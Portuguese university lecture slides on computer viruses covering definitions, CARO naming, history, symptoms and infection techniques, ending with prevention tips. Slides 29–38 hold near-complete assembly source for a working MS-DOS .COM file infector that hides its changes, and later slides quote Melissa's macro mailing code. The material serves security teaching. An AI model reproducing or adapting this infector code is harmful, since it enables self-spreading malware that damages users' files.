Criptografia e Segurança das Comunicações. Virus informáticos



Documentos relacionados
Software de Telecomunicações. Virus informáticos:1ª parte

Software de Telecomunicações. Ferramentas de protecção. Prof RG Crespo Software de Telecomunicações Protecção : 1/15

Interface Hardware/Software. Centro de Informática - UFPE Paulo Maciel prmm@cin.ufpe.br

Microsoft Windows. Aspectos gerais

Vírus e outras ameaças

Controle Parental. Introdução

Periféricos e Interfaces Ano lectivo 2003/2004 Docente: Ana Paula Costa. Aula Teórica 11

Ambiente de trabalho. Configurações. Acessórios

Data de Aplicação 2/04/2009

Manual do Utilizador

O AMBIENTE DE TRABALHO DO WINDOWS

Universidade do Algarve Faculdade de Ciências e Tecnologia Área Departamental de Engenharia Electrónica e Computação

Conceitos importantes

Curso de Informática Básica

Definição DSPTI II. Surgimento - Brasil

Manual de Utilizador. Disciplina de Projecto de Sistemas Industriais. Escola Superior de Tecnologia. Instituto Politécnico de Castelo Branco

Apresentação de SISTEMAS OPERATIVOS

Realizado por: Fábio Rebeca Nº6. Iuri Santos Nº8. Telmo Santos Nº23

UNIDADE 2: Sistema Operativo em Ambiente Gráfico

Generated by Foxit PDF Creator Foxit Software For evaluation only. Capitulo 1

ISCAP. Pág. 1. Ana Paula Teixeira

Reconhecer a estrutura de um sistema operativo. Definir um plano de instalação de um servidor de rede local.

Referencial do Módulo B

INT 5h - Print screen Modo Resolução Caract. INT 10h - Vídeo INT 10h - Vídeo

Manual de utilização do Moodle

SECUNDÁRIA DE CAMARATE Plataforma Office 365. Alojamento de ficheiros - OneDrive para Empresas

GESTÃO E ORGANIZAÇÃO DA INFORMAÇÃO

Planificação Anual da disciplina de TIC 9ºANO

paulo_magalhães/tiago_gala TIC IPSB 10B 2004/2005 virus

Módulo 3936 ASP.NET. Financiado pelo FSE

Akropole Catequista. Todos os Ficheiros no Akropole Catequista trabalham com uma simples barra de edição, com 4 botões:

Desenvolvendo Websites com PHP

Escola Básica 2, 3 de Lamaçães Planificação Anual 2007/08 Tecnologias de Informação e Comunicação

Agrupamento de Escolas de São João da Pesqueira Planificação Anual de 120 Tempos de 50m Introdução às Tecnologias da Informação e Comunicação PIEF

Guia rápido do utilizador

1. SINTAXE DA LINGUAGEM ASSEMBLY

Redes de Computadores. Trabalho de Laboratório Nº8

Satélite. Manual de instalação e configuração. CENPECT Informática cenpect@cenpect.com.br

2ºCiclo (5º e 6º Anos de escolaridade) 3ºCiclo (7º e 8º Anos de escolaridade)

Formador: Carlos Maia

OneTouch ZOOM Pro Diabetes Management Software. Guia de Instalação. Procedimento de instalação

1.5. Computador Digital --Software. INFormática Tipos de Software. Software. Hardware. Software do Sistema. Software de Aplicação.

Office 365 Manual Outlook 365 Web Application

Acronis Servidor de Licença. Manual do Utilizador

XD Fase B - Novas Implementações

8. Perguntas e Respostas

PRIMAVERA EXPRESS: Funcionalidades do Produto

A Internet, ou apenas Net, é uma rede mundial de computadores ligados, entre si, através de linhas telefónicas comuns, linhas de comunicação

Boot Camp Manual de Instalação e Configuração

ZS Rest. Manual Avançado. Instalação em Rede. v2011

Introdução à Informática

13/10/11 TIPOS DE UTILITÁRIOS UTILITÁRIOS 0798 INTRODUÇÃO À PROGRAMAÇÃO TIPOS DE UTILITÁRIOS TIPOS DE UTILITÁRIOS

Realizado por: Fábio Rebeca Nº6. Iuri Santos Nº8. Telmo Santos Nº23

UNIVERSIDADE FEDERAL DE PELOTAS

ENSINO BÁSICO CURSO DE EDUCAÇÃO E FORMAÇÃO Praticas Administrativas

1.1. Clique no botão Iniciar, seleccione Todos os programas, Microsoft Office e no submenu aberto escolha o programa Microsoft FrontPage.

s editores de s Como configurar contas de nos principais Como configurar contas de s nos principais editores de s

F-Secure Anti-Virus for Mac 2015

[Documentação de Utilização Correio Electrónico dos Estudantes da ESTM]

Introdução aos Computadores

Administração de Empresas Ciências Contábeis Informática Aplicada

Aplicações de Escritório Electrónico

Aplicações de Escritório Electrónico

Utilizar discos DVD-RAM

Manual de Integração

bit Tecnologia ao Serviço do Mundo Rural

Gestor de ligações Manual do Utilizador

Programação de Sistemas

Programação de Sistemas

LEARNING NETWORK MANAGER 2007 MANUAL DE INSTALAÇÃO

Conselho Geral da Ordem Dos Advogados Departamento Informático. Índice:

Microsoft Office FrontPage 2003

Tecnologias da Informação e Comunicação. Principais tipos de serviços da Internet

UNIDADE 1 TECNOLOGIAS DA INFORMAÇÃO E COMUNICAÇÃO

GESTÃO DE INFORMAÇÃO PESSOAL OUTLOOK (1)

UNIDADE 2: Sistema Operativo em Ambiente Gráfico

PAINEL DE ADMINISTRADOR

Novidades do AVG 2013

Vírus é um programa. Sendo que este programa de computadores é criado para prejudicar o equipamento ou sabotar os dados nele existente.

CAPÍTULO 7 NÍVEL DE LINGUAGEM DE MONTAGEM

Segurança e recuperação Manual do utilizador

Laboratório de Sistemas Processadores e Periféricos Lista de comandos de Assembly

Boot Camp Manual de Instalação e Configuração

SISTEMA DE INFORMAÇÃO DAS PARTICIPAÇÕES DO ESTADO

GIAE VERSÃO JUNHO DE 2011 MUITO IMPORTANTE

PROVA DE NOÇÕES DE INFORMÁTICA CÓD. 11

CADERNOS DE SOCIOMUSEOLOGIA Nº

Manual do aplicativo GESTÃO DE FICHEIROS 2003

Empacotar o software TI-Nspire com o Microsoft SMS 2003

Revisão 7 Junho de 2007

[Documentação de Utilização Correio Electrónico dos Estudantes da ESECS]

Free Edition Manual do Utilizador

Manual do utilizador. Aplicação de agente

Em informática, um vírus de computador é um software malicioso que vem sendo desenvolvido por programadores que, tal como um vírus biológico, infecta

Actualização, Cópias de Segurança e Recuperação de Software

Transcrição:

Criptografia e Segurança das Comunicações Virus informáticos Virus : 1/47 Definições (1) Virus: segmento de código (200B-4KB), que se copia num programa hospedeiro ( host ), quando este é activado. Nota: os virus não infectam ficheiros de dados, embora alguns possam ser interpretados (ex: Email pelo Outlook Express). Cavalo de Troia ( Trojan horse ): programa com funções, frequentemente destrutivas, não conhecidas pelo utilizador Bomba temporal: funções activadas por data Bomba lógica: funções activadas por condições Verme ( Worm ): programa que se duplica a si próprio, sem infectar outros. Os vermes replicam-se na Internet, sobrecarregando-a. Virus : 2/47

Definições (2) Spyware programas que reconhem informação (comandos, senhas de passe, ) que é enviada pela Internet. CM2 ( Malicious Mobile Code ): programas desenhados para se moverem entre computadores, por redes, a fim de modificar sistemas sem conhecimento dos operadores. SPAM 1 correio não solicitado. 1 Marca de carne enlatada, da empresa Hormel, acrónimo de Shoulder of Pork and ham. Virus : 3/47 Identificação de virus (1) As identificações iniciais usavam critérios ad-hoc, uma vez que os criadores são frequentemente desconhecidos. Local onde foi detectado pela 1ª vez (ex: Leigh, Alameda). Cadeia de caracteres existente no código (ex: Brain, Melissa, AnaKournikova) Numero de Bytes de incremento do programa infectado (ex: 1704, 1280) Associações extemporânias (Code Red é uma bebida energética que os analistas tomaram na altura do combate ao virus) Virus : 4/47

Identificação de virus (2) A descrição dos virus detectados mensalmente publicada em http://www.wildlist.org Em 1991, a CARO-Computer Antivirus Research Org, adoptou uma metologia para as designações Formato: Familia.Grupo.VarMaior.VarMenor.Modificador Campos cada vez mais específicos, sendo obrigatórios à esquerda Exemplo: W97.Melissa.AA Primeira variante Word 97 Macro Virus : 5/47 Identificação de virus (3) Código de algumas famílias de virus Prefixo BAT Boot HLL TRO W32 W64 WM XM Descrição DOS batch sector boot do DOS Linguagem de programação (Java, JS-JavaScript, VBS- Visual Basic Script) Cavalo de Troia Todas as plataformas Windows 32 (Win 2000,NT,XP) Plataforma Windows IA64 Word macro Excel macro Virus : 6/47

História (1) Curiosidade, não faz parte da avaliação [Nov83] Fred Cohen, estudante de Doutoramento em EE na University of Southern California, imagina, numa disciplina sobre segurança, um programa que tome conta de um computador. Implementa-o num VAX 11/470, a correr Unix, que toma conta dele numa hora 1. O orientador, Prof. Adelman, sugere o nome de virus. [1982] Primeiro virus conhecido, no sector boot de uma diskette do Apple II contendo o jogo Elk Cloner. No 50º boot imprime uma mensagem no terminal. [Jan85] Primeiras infecções em PCs: Leigh-Universidade onde Cohen ensinava, e o cavalo de Troia Brian-produzido no Paquistão (autores indicados no código). [1987] Detectado o virus Jerusalem na Hebrew University, que aumenta sempre ficheiros.com e.exe e destroi todos os programas a correr na 6ª-feira, 13. Primeiro virus a atrair atenção na comunicação social. 1 Fred Cohen, Computer Viruses-Theory and Experiments, Computers & Security: 6(1), 22-35 1987 Virus : 7/47 História (2) Curiosidade, não faz parte da avaliação [Nov88] Primeiro verme detectado, Morris Internet Worm, afectando VAX e Sun3 com Unix 4 BSD. [89-92] Geração de vários virus em Sofia/Bulgária, incluindo o DAME (Dark Avenger s Mutating Engine, ou MTE, uma ferramenta de apoio à geração de novos virus). [Ago95] MicroSoft distribui, a centenas de produtores de software, o CD Windows 95 Software Compatability Test com o virus WM.Concept [Jun97] Publicado programa winnuke.c, que envia para o porto 139 lixo e o Win95 do outro lado crasha. [Ago98] Lançado o primeiro virus de Java, o Strange Brew. [1999] Lançado primeiro spyware no jogo gratuito Elf Bowling. [Mar99] Lançado o primeiro verme de Email, o Melissa. Virus : 8/47

História (3) Curiosidade, não faz parte da avaliação [Jun00] Cavalo de Troia Timfonica, em Visual Basic, infecta na Espanha PCs para enviar mensagens a telemóveis: para além do manifesto anti-monopólio, apaga parameterizações. [Jul01] O verme Code Red replicou-se mais de 250 mil vezes, em 9 horas, no dia 21 de Julho. [Set01] Lançado o primeiro cavalo de Troia contra o Palm OS, o Liberty crack. [Jan03] O verme W32.Slam, explorando uma falha no servidor SQL da MicroSoft, arrancou em Hong-Kong no dia 25 de Janeiro e bloqueou 5 dos 13 servidores da Internet em 15 minutos. Tinha apenas 376B! [Mai04] Lançado o primeiro virus conceptual do Win64, o W64.Rugrat.3344 [Jul07] Lançado verme W32.Deletemusic, que elimina todos os ficheiros MP3. Virus : 9/47 Efeitos de virus (1) Graves prejuizos economicos na quebra do desempenho da Internet (ex: o Slammer causou prejuízos estimados em 2 biliões de USD-a Continental Airlines teve de encerrar o hub de Newark). Criação de muitas empresas de eliminação de virus (McAFee, Norton, Panda, ). Incentivam desenvolvimento de protecções ( Firewalls, ) e descoberta/ eliminação de falhas ( loopholes ). Os virus/vermes têm sido sido detectados em muitos ambientes Microcomputadores (MSDOS, Windows, Macintosh, ) Routers da Internet Telemóveis, PDAs Virus : 10/47

Efeitos de virus (2) Curiosidade, não faz parte da avaliação Em 2007 encontravam-se registados 1.1 milhões, muitos deles variantes (relatório Symantec). Diversos estados (EUA,GB,* ) publicaram leis contra a produção e difusão de virus. Já foram condenados criadores de virus/vermes [Mai95] Primeiro condenado na GB pela criação de virus, a 18 meses de detenção. [Fev98] Criador do Morris Internet Worm suspenso, durante 1 ano, da Cornell University de Ithaca/NY. [Set01] Criador do VBS.VBSWG.J@MM, ou AnaKournikova, condenado na Holanda a 75 dias de prisão. * Portugal em Outubro 2009. Virus : 11/47 Efeitos de virus (3) Curiosidade, não faz parte da avaliação [Mai02] Criador do Melissa condenado, no estado de New Jersey, a 20 meses de prisão. [Jul04] Criador do cavalo de Troia W32.Carbonator condenado, em Espanha, a 2 anos de prisão. O virus foi disponibilizado numa pagina Web com instruções para seu uso: uma vez carregado, permitia ao criador do Carbonator aceder aos dados do computador infectado. [Abr05] Criador de distribuidor de Email spam, Jeremy Janes, condenado a 9 anos de prisão no estado de Virginia. [Jan06] James McCalla condenado por tribunal de Illinois a pagar 11.2 biliões de USD a Midwest ISP, por envio de 280 milhões de Email spam. Virus : 12/47

Efeitos de virus (4) Sintomas de infecções virais Alterações inesperadas do comprimento de ficheiros (especialmente executáveis). Programas a demorar mais tempo a iniciar, ou correr mais lentamente. Tentativas, sem razão aparente, de escrita em meio writeprotected. Diminuição inesperada de memória de disco, ou aumento de badsectors nos discos. Ficheiros a desaparecer, ou serem criados, misteriosamente. Reboot inesperado com programas correctos a executar. Carga anormal de redes locais, especialmente quando cópias multiplas dos mesmos dados são enviados. Virus : 13/47 Etapas de um virus (1) As etapas mais importantes na vida de um virus são: Activação Replicação ( spread ) Manipulação (opcional, ex: alteração de dados no disco, mensagens no ecran, reboot, ) Nota 1: Os criadores de virus pretendem que a activação e a replicação sejam automáticas e invisíveis (sem intervenção directa, nem conhecimento do operador). Nota 2: Um verme não necessita da intervenção do operador para se replicar. Virus : 14/47

Etapas de um virus (2) Os sistemas operativos iniciais (MSDOS, ), muito simples, não possuiam protecções contra virus. Sistemas operativos mais protegidos (Win32,MacOS, ), não são invioláveis: apesar de mais complexos, falhas continuam a ser exploradas. Nesta disciplina são analisados, com algum detalhe, alguns virus/vermes Brain, Melissa Morris Internet Worm, Slammer Nesta disciplina é implementado em MSDOS um vírus informático inofensivo. Virus : 15/47 Formas de adição no hospedeiro Incremento ( add-on ): o virus é inserido no fim, ou no início do hospedeiro, e o arranque do hospedeiro é alterado por forma que o virus seja executado primeiro. É a forma mais seguida pelos criadores de virus. Concha ( shell ): o virus torna-se o programa principal e o hospedeiro torna-se subrotina do virus. Intrusivo: parte do código do hospedeiro é substituído pelo virus. Virus : 16/47

MSDOS: Activação A activação pode ser feita Automaticamente no arranque do sistema: activação ocorre sempre! No programa infectado (.COM ou.exe): activação só ocorre quando o programa infectado é activado. O MSDOS, ao carregar um programa (.COM ou.exe), cria na base um espaço de 0100H denominado PSP-Program Segment Prefix. Diferenças nos formatos dos ficheiros de boot,.com e.exe levam que os virus sejam específicos a ficheiros tipo e a sistema operativo. Nesta disciplina são abordadas duas formas de replicação: Ficheiro.COM Macros Virus : 17/47 Replicação COM-memória (1) Nos ficheiros.com, código, dados e pilha estão no mesmo segmento (logo, obrigatoriamente menores que 64KB). Os programas podem ser colocados em qualquer endereço da zona de RAM denominada TPA-Transient Program Area. Início do programa 64K PSP Código + Dados.COM Virus TPA A Basic Virus Writing Primer, Chili, Assembly Programming Journal 1(4) Apr 1999 Virus : 18/47

Replicação COM-memória (2) No MSDOS, programas.com ou.exe são colocados depois do PSP-Program Segment Prefix (0100H) Depois de carregado o ficheiro.com, o MSDOS inicializa os seguintes registos antes de iniciar a execução AX = BX = CX = DX = 00000H BP = 0100H SP = 0FFFFH DS,ES,SS,CS = segmento onde é instalado o programa IP = 0100H Virus : 19/47 Replicação COM-int 21h (1) Curiosidade, não faz parte da avaliação Operações sobre ficheiros com INT 21h e função no AH Cod. Objectivo Parâmetros Retorno 01H Lê caractere do teclado --- AL-caractere 02H Escreve caractere na consola DL-caractere --- 09H Imprime cadeia de caracteres DS:DX-endereço de cadeia (1) --- 01H Lê caractere do teclado sem ecoar --- AL-caractere 1AH Transferir local do DTA DS:DX-novo endereço --- 3DH Abertura de um ficheiro AL-modo de acesso DS:DX-endereço de nome (2) Sucesso c/ carry=0 AX-descritor fich 3EH Fecho de um ficheiro BX-descritor ficheiro Sucesso c/ carry=0 1) cadeia de caracteres terminada por $ 2) cadeia de caracteres terminada pelo Byte 0 Virus : 20/47

Replicação COM-int 21h (2) Curiosidade, não faz parte da avaliação Cod. Objectivo Parâmetros Retorno 3FH Leitura de um ficheiro BX-descritor ficheiro CX-numero Bytes a ler DS:DX-endereço de memória Sucesso c/ carry=0 AX-Bytes lidos 40H Escrita de um ficheiro BX-descritor ficheiro Sucesso c/ carry=0 CX-numero Bytes a escrever AX-Bytes escritos DS:DX-endereço de memória 42H Alterar posição no fich AL-origem do movimento BX-descritor ficheiro CX,DX-deslocamento 43H Obter/alterar atributos AL-00(get), 01(set) CX-atributos Sucesso c/ carry=0 DX,AX-deslocamento efectuado Sucesso c/ carry=0 CX-atributos (se AL=0) Virus : 21/47 Replicação COM-int 21h (3) Curiosidade, não faz parte da avaliação Cod. Objectivo Parâmetros Retorno 4CH Termina programa AL-código retorno --- 4EH Procura primeiro ficheiro numa directoria CX-tipo de ficheiro DS,DX-endereço da template Sucesso c/ carry=0 DTA 4FH Procura ficheiro seguinte DS,DX- template anterior Sucesso c/ carry=0 57H (3) Obter/alterar data de última alteração AL-00(get), 01(set) BX- descritor ficheiro DX-data, CX-hora (se AL=01) Sucesso c/ carry=0 DX-data CX-hora (se AL=00) 3) Só para MSDOS 4+ Virus : 22/47

Replicação COM-int 21h (4) 43B 00H 15H 16H 18H 1AH 1EH reservado Estrutura do DTA preenchido pela função 4EH atributos do ficheiro hora data dimensão do ficheiro nome do ficheiro 2AH Nota: DTA pode igualmente guardar a linha de comandos, nesse caso são necessários 128B Virus : 23/47 Replicação COM-passos (1) Um virus.com, infecta outro ficheiro seguindo os passos 1. Copia, para o fim do ficheiro a infectar, o código 2. Copia para o novo final, os 3 primeiros Bytes do ficheiro a infectar. 3. Substitui os 3 primeiros Bytes por um JUMP para o código viral. 4. No final do código viral: Obtém o endereço do PSP, pelo INT 21H-função 062H. Copia os 3 Bytes salvaguardados para PSP+0100H Executa um JUMP para PSP+0100H Virus : 24/47

Replicação COM-passos (2) Para que o utilizador não desconfie dos acessos, os criadores de virus seguem os seguintes passos: Se o alvo estiver write-protected, retirar a protecção e restabelecê-la no fim. Antes de escrever no ficheiro alvo, guardar a data da última modificação, e restaurar a data depois de escrever no ficheiro alvo. Virus : 25/47 Replicação COM-variáveis (1) Problema: Nas instruções de salto, os endereços são relativos ao 1º Byte depois da instrução. Em Asm86, os endereços das variáveis são absolutos, dentro de DS. No entanto, a posição dos dados da parte viral depende do hospedeiro. Como saber a posição das variáveis (exemplo, para guardar os 3 Bytes iniciais do ficheiro a infectar)? Código Dados Código Dados Hosp. A Hosp. A virus virus Código Dados Código Dados Hosp. B Hosp. B virus virus Virus : 26/47

Replicação COM-variáveis (2) Solução: O código dos virus é de tamanho sempre igual, e as variáveis do virus estão depois do código. Assim, o código do vírus tem de recolher no início o deslocamento relativo da sua parte de código. Start_virus: chama a instrução seguinte, logo IP é carregado na pilha call Here Here: pop bp recolhe endereço para o BP sub bp, offset Here subtrai espaço da parte inicial(call Here) No código do virus, as suas variáveis são sempre acedidas por endereçamento base na forma [BP+offset var] Deslocamento da variável dentro do virus Deslocamento no hospedeiro Virus : 27/47 Replicação COM-restauro O hospedeiro tem os 3 primeiros Bytes, em 100h, substituidos pelo salto para o código do virus. O virus alterar os 3 primeiros Bytes duas vezes ao infectar um programa, começa por guardar o conteúdo dos 3 primeiros Bytes desse programa na variávelfst_three. No final o virus restabelece esses 3 Bytes, com instruçõesmovs, para que depois o programa original possa ser executado sem que o utilizador suspeite da infecção. mov di,100h [ES]:DI aponta destino push di lea si,[bp+offset fst_three] cld movsb movsw reset direction flag para incrementos no DI e SI Virus : 28/47

Replicação COM-código (1).model tiny modelo.com.code org 100H deixa espaço para PSP Start: db 0E9H instrução de salto dw 0 no lançador é zero, noutros casos determina-se depois Obtem, no BP, o espaço do hospedeiro Start_virus: call Here Here: pop bp sub bp, offset Here Restaura 3 primeiros Bytes do hospedeiro mov di,100h [ES]:DI aponta destino push di lea si,[bp+offset fst_three] cld movsb movsw reset direction flag para increments no DI e no SI Virus : 29/47 Replicação COM-código (2) No PSP, a área acima de 80H (DTA-Disk Transfer Area) é usada pelo INT 21 para guardar dados. No arranque do programa, em 80H estão guardados os parâmetros da linha de comando. Logo, o virus tem de guardar esses dados antes de qualquer acesso a disco. lea dx,[bp+offset dta] $Set_dta Virus : 30/47

Replicação COM-código (3) Procura um ficheiro para infectar mov ah,4eh Find_next: lea dx,[bp+offset template] mov cx,3fh todos os tipos de ficheiro int 21h jnc Found_one jmp Quit Abre ficheiro alvo Found_one: mov al,0 recolhe atributos $Get_set_attrib mov [bp+offset file_attrib],cx test cx,1 je Attrib_ok está em write-protected, tem de alterar modo de acesso dec cx mov al,1 $Get_set_attrib Attrib_ok: mov ah,3dh mov leitura/escrita al,2h acesso int 21h jnc Opened call restabelece atr Restore_attrib falhou, mov ah,4fh tenta outro jmp Find_next Virus : 31/47 Replicação COM-código (4) Opened: xchg ax,bx desloca descritor para BX Lê data da última alteração do ficheiro mov al,0 $Get_set_date mov [bp+offset time],cx mov [bp+offset date],dx Lê e guarda 3 primeiros Bytes mov ah,03fh lea dx,[bp+offset fst_three] mov cx,3 int 21h jnc Check_size call Restore_date mov ah,4fh tenta outro jmp Find_next Virus : 32/47

Replicação COM-código (5) Problema: Os virus.com possuem o inconveniente de provocar o aumento do programa (ex: o virus Jerusalem não tinha assinatura, e cada infecção aumenta o programa em 1813B). Não há interesse em infectar um hospedeiro já infectado. Solução: Verificar se o ficheiro já foi infectado, comparando dimensões do virus (código + dados). Virus : 33/47 Replicação COM-código (6) Check_size: se tamanho dos dois ficheiros for igual, o alvo já deve estar infectado mov ax,word ptr[bp+offset F_Size] mov cx,word ptr[bp+offset fst_three+1] add cx,end_virus-start_virus+3 cmp ax,cx jnz Uninfected call Restore_date mov ah,4fh tenta outro jmp Find_next Yum-yum, um candidato à infecção! Vamos a ele. Uninfected: calcular deslocamento para o JMP no ficheiro alvo sub ax,3 mov word ptr [bp+offset jmp_offset],ax Virus : 34/47

Replicação COM-código (7) Posiciona-se no inicio do fich alvo mov al,0h $Move_file_ptr Escreve 3 primeiros Bytes mov cx,3 lea dx,[bp+offset jmp_inst] $Write_to_file jnc Copy call Restore_date mov ah,4fh tenta outro jmp Find_next copia virus Copy: mov al,2 posicionar no fim $Move_file_ptr copiar o corpo principal do virus mov cx,end_virus-start_virus lea dx,[bp+offset Start_virus] $Write_to_file Restabelece DTA e data do hospedeiro mov dx,80h $Set_dta call Restore_date Virus : 35/47 Replicação COM-código (8) Restaura registos e regressa ao programa infectado mov ax,0 mov bx,0 mov cx,0 mov dx,0 mov bp,0 mov si,0 mov di,0 retn NOTA:ORDEM DAS ROTINAS Restore_date, Restore_attrib, Close NÃO PODE SER ALTERADA Restore_date: restaura data/dia mov al,01h mov cx,[bp+offset time] mov dx,[bp+offset date] $Get_set_date Restore_attrib: restaura atributos mov cx,[bp+offset file_attrib] mov al,1 $Get_set_attrib Close: fecha alvo mov ah,03eh int 21h retn Virus : 36/47

Replicação COM-código (9) DADOS A RESIDIR NO FICHEIRO ALVO template db "disp?.com",0 fst_three db 0cdh,20h,0 INT 20 virus_name db "[Demo]",0 author db "Nobody",0 jmp_inst End_virus equ $ db 0e9h Manter ordem nas declarações de dados! DADOS A RESIDIR NO FICHEIRO INFECTADO jmp_offset dw? dta: Reserv F_Attr db? F_Time dw? F_Date dw? db 21 dup(?) F_Size dd? F_Name db 13 dup(?) date dw? time dw? file_attrib dw? _code ends end _start Virus : 37/47 Replicação COM-código (10) MACROS $Write_to_file MACRO mov ah,40h int 21h ENDM $Set_dta MACRO mov ah,1ah int 21h ENDM $Get_set_attrib MACRO lea dx,[bp+offset dta+1eh] mov ah,43h int 21h ENDM $Get_set_date MACRO mov ah,57h int 21h ENDM $Move_file_ptr MACRO mov cx,0 mov dx,0 mov ah,42h int 21h ENDM Virus : 38/47

Virus por macros (1) Diversas ferramentas permitem processar dados, por macros. As macros, escritas em linguagens de alto nível (mais fáceis de usar), podem ser associadas aos ficheiros. Os dados são enviados em diskettes, CDs ou pela Internet (email, ftp, WWW) A ferramentaoutlook Express processa macros inseridos no Email. A ferramentaword (Excel) processa macros inseridas em documentos (folhas de cálculo). Algumas macros podem ser executadas automaticamente pela ferramenta, sem conhecimento directo do utilizador. Virus : 39/47 Virus por macros (2) Em 1993, a Microsoft passou a usar a linguagem de macros VBA - Visual Basic for Applications para empresas adaptarem aplicações da MS (Word, Excel, Outlook, FrontPage, ). Listagem de macros efectuada no menu Tools, comando Macro (Alt-F8). Edição de macros efectuada pelovisual Basic Editor (Alt-F11). Virus : 40/47

Virus por macros (3) Ciclo de vida As etapas dos virus por macros são semelhantes às etapas dos virus de código: activação, replicação e manipulação. 1. Utilizador abre o documento infectado. 2. Ferramenta carrega as macros. 3. Macros são automaticamente executadas, contendo instruções de replicação. Por exemplo, o documento infectado é enviado por Email a endereços armazenados no computador. Virus : 41/47 Virus por macros (4) Curiosidade, não faz parte da avaliação Virus Melissa W97M virus, lançado em Março de 99. Macro designado por Melissa Registo HKEY_CURRENT_USER\Software\Microsoft\Office\Melissa? fica com valor Kwyjibo, para o virus confirmar se o PC já se encontra infectado Procura 50 endereços de Email, enviando mensagem infectada {user name} do PC infectado Subject: Important Message From {user name} Conteúdo: Here is that document you asked for... don't show anyone else :-) Attachment: documento activo infectado Virus : 42/47

Virus por macros (5) Curiosidade, não faz parte da avaliação Se dia e minuto forem iguais (ex: dia 30 às 0:30), insere na corrente localização do documento a frase Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here. cria instância do Outlook SET UngaDasOutlook = CreateObject("Outlook.Application") verifica se computador ainda não foi infectado IF System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\","Melissa") <> "... by Kwyjibo" THEN verifica se o servidor de Email é o Outlook IF UngaDasOutlook="Outlook" THEN Virus : 43/47 Virus por macros (6) Curiosidade, não faz parte da avaliação recolhe identificador do utilizador e passwd DasMapiName.Logon "profile" "password" recolhe endereços armazenados FOR y=1 TO DasMapiName.AddressLists.Count SET AddyBook = DasMapiName.AddressLists(y) x = 1 SET BreakUmOffASlice = UngaDasOutlook.CreateItem(0) FOR oo=1 TO AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x +1 IF x>50 THEN oo= AddyBook.AddressEntries.Count NEXT oo envia email infectado Virus : 44/47

Virus por macros (7) Curiosidade, não faz parte da avaliação Depois, o virus verifica o documento activo é normal ou um padrão Normal.dot. Se for documento normal, infecta o padrão Normal.dot com a macro Document_Close (a correr sempre que o documento é fechado). Se for o padrão Normal.dot, infecta o documento activo com a macro Document_Open (a correr sempre que o documento é aberto). O Word trabalha sobre dois tipos de ficheiros: Documento propriamente dito (.doc) Padrão ( template ), com as formatações/margens/ O padrão Normal.dot, é o de omissão do Word e é alvo favorito dos criadores de virus. Virus : 45/47 Assinaturas Para evitar multiplas infecções, os virus possuem mecanismos de reconhecimento. Existem dois locais onde são inseridas assinaturas: Ficheiro: cadeias específicas ( scan strings ) em locais designados Memória: na activação são instaladas funções próprias do virus (ex: Cascade tem função no endereço 04BFFH, devolve 055AH no registo DI). Os mecanismos de reconhecimento são uma preciosa ajuda para os detectores de virus. Virus : 46/47

Regras básicas para evitar virus Não abrir email estranhos. Desconfiar de sites gratuitos. Instalar programas apenas de vendedores seguros. Configurar bloqueador popup no navegador (Firefox, IE, Google Toolbar). Usar e manter actualizado um AV. MacAfee, Panda,... Actualizar periodicamente definições de virus (melhor ainda, configurar Live update) Virus : 47/47